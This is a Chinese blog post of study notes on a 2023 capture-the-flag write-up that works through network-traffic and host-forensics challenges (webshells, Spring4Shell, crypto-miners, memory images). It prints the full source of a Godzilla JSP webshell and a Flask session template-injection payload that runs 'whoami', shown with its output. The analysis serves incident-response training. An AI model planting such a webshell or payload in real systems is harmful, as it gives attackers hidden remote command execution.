陇剑杯2023WriteUp学习笔记【初赛】


由于太菜就跟着大佬的wp学习了一遍。
经典之为什么在他们的电脑上可以,我的电脑上不行。

数据分析

1、hard_web

hard_web原题下载

hard_web_1

题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了 80 81 82 83 端口,则答案为 80,81,82,83)
考点:哥斯拉流量
也可看持续时间

在这里插入图片描述
可以看到网站里存在马
代码如下

Java
<%! String xc="748007e861908c03"; 
class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")

就是做了一个aes,把xc当key,读POST shell.jsp的数据,发现第24322的数据流执行了nmap,但是回显是没运行成功。

(tcp.dstport == 61885) && (tcp.flags.syn == 1)

筛选得到只有 80,888,8888 符合条件
在这里插入图片描述

hard_web_2

题目内容:服务器中根目录下的 flag 值是多少?

tcp contains "flag"
tcp.stream eq 20053

在这里插入图片描述

由 tcp 20046 得知该流中的 flag 是被 aes 加密过的,解密得 flag

在这里插入图片描述

hard_web_3

题目内容:该 webshell 的连接密码是多少?

tcp.stream eq 20046

追踪 http 流
在这里插入图片描述
在这里插入图片描述

cmd5 解密得 14mk3y

2、sevrer save

sevrer save原题下载
解压密码为 c77ad47ba4c85fae66f08ec12e0085dd
考点:溯源取证

sevrer save_1

题目内容:黑客是使用什么漏洞来拿下 root 权限的。格式为:CVE-2020-114514
在这里插入图片描述

搜索 tcp 104 中的 title:Reznok's Hello World Spring Application

发现指向 https://github.com/reznok/Spring4Shell-POC,可以看到 cve 编号为 CVE-2022-22965

也可以搜索一下利用的类找到对应的CVE

class.module.classLoader.resources.context.parent.pipeline.first.pattern

sevrer save_2

题目内容:黑客反弹 shell 的 ip 和端口是什么,格式为:10.0.0.1:4444

黑客从服务器上下载了反弹shell的文件,然后执行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

sevrer save_3

题目内容:黑客的病毒名称是什么?格式为:filename
解压do,home下的可疑文件main
在这里插入图片描述

sevrer save_4

题目内容:黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

在这里插入图片描述

比对一下 shadow 和 shadow-文件发现
在这里插入图片描述

也可上传微步等执行命令看进程

sevrer save_5

题目内容:服务器在被入侵时外网 ip 是多少? 格式为:10.10.0.1

有访问ip-api.com的网络记录,释放了一个日志文件,可以先猜出这个日志文件里包含当前的外网IP。
在这里插入图片描述

在这里插入图片描述

sevrer save_6

题目内容:病毒运行后释放了什么文件?格式:文件 1,文件 2
在这里插入图片描述
在这里插入图片描述

sevrer save_7

题目内容:矿池地址是什么?格式:domain:1234

根据释放的文件mine_doge.sh,见POOL
在这里插入图片描述

sevrer save_8

题目内容:黑客的钱包地址是多少?格式:xx:xxxxxxxx

见上一题的WALLET,钱包地址要删掉.lolMinerWorker

3、Wireshark

原题下载
考点:telnet流量分析

Wireshark1_1

题目内容:被入侵主机的 IP 是?
在这里插入图片描述
流量里只有这两个 ip 在通信,很显然答案是 192.168.246.28

Wireshark1_2

题目内容:被入侵主机的口令是?
在这里插入图片描述

Wireshark1_3

题目内容:用户目录下第二个文件夹的名称是?
在这里插入图片描述

Wireshark1_4

题目内容:/etc/passwd 中倒数第二个用户的用户名是?
在这里插入图片描述

4、Incidentresponse

题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网 IP 是 10.221.36.21。查询 CMDB 后得知该 IP 运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)(答案中如有空格均需去除,如有大写均需变为小写,使用 echo -n ‘strings’|md5sum|cut -d ’ ’ -f1 获取 md5 值作为答案)

原题下载

解压密码为 f0b1ba11478343f404666c355919de3f

考点:溯源取证

IncidentResponse_1

题目内容:挖矿程序所在路径是?

因为与挖矿相关,所以搜索了一下与WALLET有关的字段,发现在redis-server中出大量的wallet,疑似被修改,确定是redis-server该文件

根据查看的进程信息可知,该程序发送数万条 udp 链接,结合之前的 redis 挖矿病毒猜测为该程序。
在这里插入图片描述

IncidentResponse_2

题目内容:挖矿程序连接的矿池域名是?
在这里插入图片描述

该目录下的conf文件中存在矿池域名的配置

IncidentResponse_3

题目内容:攻击者入侵服务器的利用的方法是?
系统登录日志中存在大量的admin用户,疑似通过网站的服务上马登录。

查看 nohup 文件,多次出现 shiro 链,猜测是 shiro 反序列化。
flag 是 shirodeserialization。

在这里插入图片描述

IncidentResponse_4

题目内容:攻击者的 IP 是?

历史命令里找到了几个可能的 ip 尝试发现为 81.70.166.3

在这里插入图片描述

从登录日志也可以发现IP。

IncidentResponse_5

题目内容:攻击者发起攻击时使用的 User-Agent 是?
攻击者IP的最后一条访问时nginx日志里的User-Agent。

查看/var/log/nginx/access.log

在这里插入图片描述

IncidentResponse_6

题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?

常规手段:疑似保存authoriazed_keys的免密登录

查看/root/.ssh/authorized_keys 里记录的用户是 root@kali
在这里插入图片描述

IncidentResponse_7

题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5 加密后以 b 开头)
常规策略:开机启动
结合上文恶意文件,看了很多,发现使用了 redis 的配置文件进行权限维持。
/lib/systemd/system/redis.service

在这里插入图片描述

5、SmallSword

原题下载

考点:蚁剑流量分析

SmallSword_1

题目内容:连接蚁剑的正确密码是__?(答案示例:123asd)
密码就是post时的key 6ea280898e404bfabd0ebb702327b19f。
第 127 流就出现了使用 6ea280898e404bfabd0ebb702327b19f 传递代码,明显的蚁剑链接特征。
在这里插入图片描述

SmallSword_2

题目内容:攻击者留存的值是__?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

蚁剑没什么防护,直接base64解流量传输的数据即可
对 tcp142 解密,flag 为YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA==对应的base64 值

在这里插入图片描述

在这里插入图片描述

ad6269b7-3ce2-4ae8-b97f-f259515e7a91

SmallSword_3

题目内容:攻击者下载到的 flag 是__?(答案示例:flag3{uuid})

将 tcp 130 中的 exe 提取出来(转为原始数据保存)
在这里插入图片描述

对提取出来得 exe 进行解包
在这里插入图片描述

发现 2.pyc 里边有图片数据

保存得到
在这里插入图片描述
在这里插入图片描述

流量里可以看到程序下载了huorong.exe
放到微步,发现程序运行后会释放一张图片。

6、ez_web

原题下载

ez_web_1

题目内容:服务器自带的后门文件名是什么?(含文件后缀)

从HTTP对象发现,它利用了自带的后门上传了d00r.php
在这里插入图片描述

发现该请求携带恶意代码确认为该文件。

ez_web_2

题目内容:服务器的内网 IP 是多少?

导出http对象,发现他执行了ip的命令,确定内网地址

第 10098TCP 流里的 http 里有执行命令 ifconfig
在这里插入图片描述

在这里插入图片描述

ez_web_3

题目内容:攻击者往服务器中写入的 key 是什么?

在d00r命令执行中看到写入操作,发现是个解压密码7e03864b0db7e6f9,在流量末尾找到压缩包解密。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

保存为 zip,下图为压缩包密码
在这里插入图片描述

7、Babyforensics

原题下载
解压密码为 4cf611fce4a2fec305e54c2766b7c860

baby_forensics_1

题目内容:磁盘中的 key 是多少?

可以直接内存filescan,看到key.txt然后提取该文件,也可以使用取证大师等工具提取bitlocker的内存密钥,然后用相应工具解密。
最后是rot47得到key

baby_forensics_2

题目内容:电脑中正在运行的计算器的远行结果是多少?
这题,复现发现大佬的做法有两种。1.vol看windows 2.dump calc.exe的进程然后放入gimp。

baby_forensics_3

题目内容:该内存文件中存在的flag值是多少?
U2开头加密标志去内存找,然后Rstudio在Music目录下找到密码,然后使用爆破工具,爆破。

8、tcpdump

原题下载

tcpdump_1

题目内容:攻击者通过暴力破解进入了某 Wiki 文档,请给出登录的用户名与密码,以:拼接,比如 admin:admin

查看请求和返回流量,看返回包长度为 559 与其他的 237 不一致。确定为下图,找到请求包即可。
在这里插入图片描述

在这里插入图片描述

tcpdump_2

题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的 cookie 的内容的 md5 值。(32 位小写)

分析前后操作,发现在这儿开始往后进行越权操作
在这里插入图片描述

tcpdump_3

题目内容:攻击使用 jdbc 漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如 root:123456
在这里插入图片描述

tcpdump_4

题目内容:攻击者又使用了 CVE 漏洞攻击应用,执行系统命令,请给出此 CVE 编号以及远程 EXP 的文件名,使用:拼接,比如 CVE-2020-19817:exp.so

根据tcp 1604流中的xml的信息能发现weblogic
搜索关键词,发现几个 cve,逐一与流量比对发现为 CVE-2022-21724
在这里插入图片描述

根据分析路径为下图中的 custom.dtd.xml

在这里插入图片描述

tcpdump_5

题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如 nmap
在这里插入图片描述
fscan

9、Hacked

原题下载

hacked_1

题目内容:admIn 用户的密码是什么?

http 找 get /register 追踪 http 流看源码
登录页面源码找到加密算法

<script language="javascript">  
 crypt_key = 'l36DoqKUYQP0N7e1';
 crypt_iv = '131b0c8a7a6e072e';
 var key = CryptoJS.enc.Utf8.parse(crypt_key); 
 var iv = CryptoJS.enc.Utf8.parse(crypt_iv); 
 function Encrypt(word){
   srcs = CryptoJS.enc.Utf8.parse(word);
   var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});
   return encrypted.toString();
 }
 function print(){
   var a = Encrypt(myform.username.value);
   var b = Encrypt(myform.password.value);
 }

在这里插入图片描述

这个为 admIn 用户对应的一组用户名密码。

import base64
from Crypto.Cipher import AES
iv=b'131b0c8a7a6e072e'
key=b'l36DoqKUYQP0N7e1'
def decrypt(s):
     return AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(s))
decrypt(b"KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=")
# b'flag{WelC0m5_TO_H3re}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

然后找解密即可

flag{WelC0m5_TO_H3re}

hacked_2

题目内容:app.config[‘SECRET_KEY’]值为多少?

搜索 SECRET_KEY 即可。
在这里插入图片描述

hacked_3

题目内容:flask 网站由哪个用户启动?

这题的漏洞点在flask的session注入
tcp流76
在这里插入图片描述

Bash
$python .\exp.py .eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE
{'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
$ python .\exp.py .eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4
{'flag': 'red\n', 'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}

密钥为 2 中的 SECRET_KEY
在这里插入图片描述

hacked_4

题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
在这里插入图片描述

Index

web

10、fungame

题目内容:近日,网管小李被通知说自己管理的网站存在漏洞,请你帮助小李找到存在漏洞的位置,并且将漏洞修复(敏感信息泄露也算哦)。修复漏洞后,等待一分钟左右,/flag 就会变为可读权限。可以借用 /index.php?r=debug/default/index 的 web 接口的 debug 进行分析。

debug 发现请求了 diff 方法:
在这里插入图片描述

找到这个地方注释:
在这里插入图片描述

然后还有个 phpinfo:
在这里插入图片描述

最后一行有个 phpinfo,删掉以后就可以了。
在这里插入图片描述

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值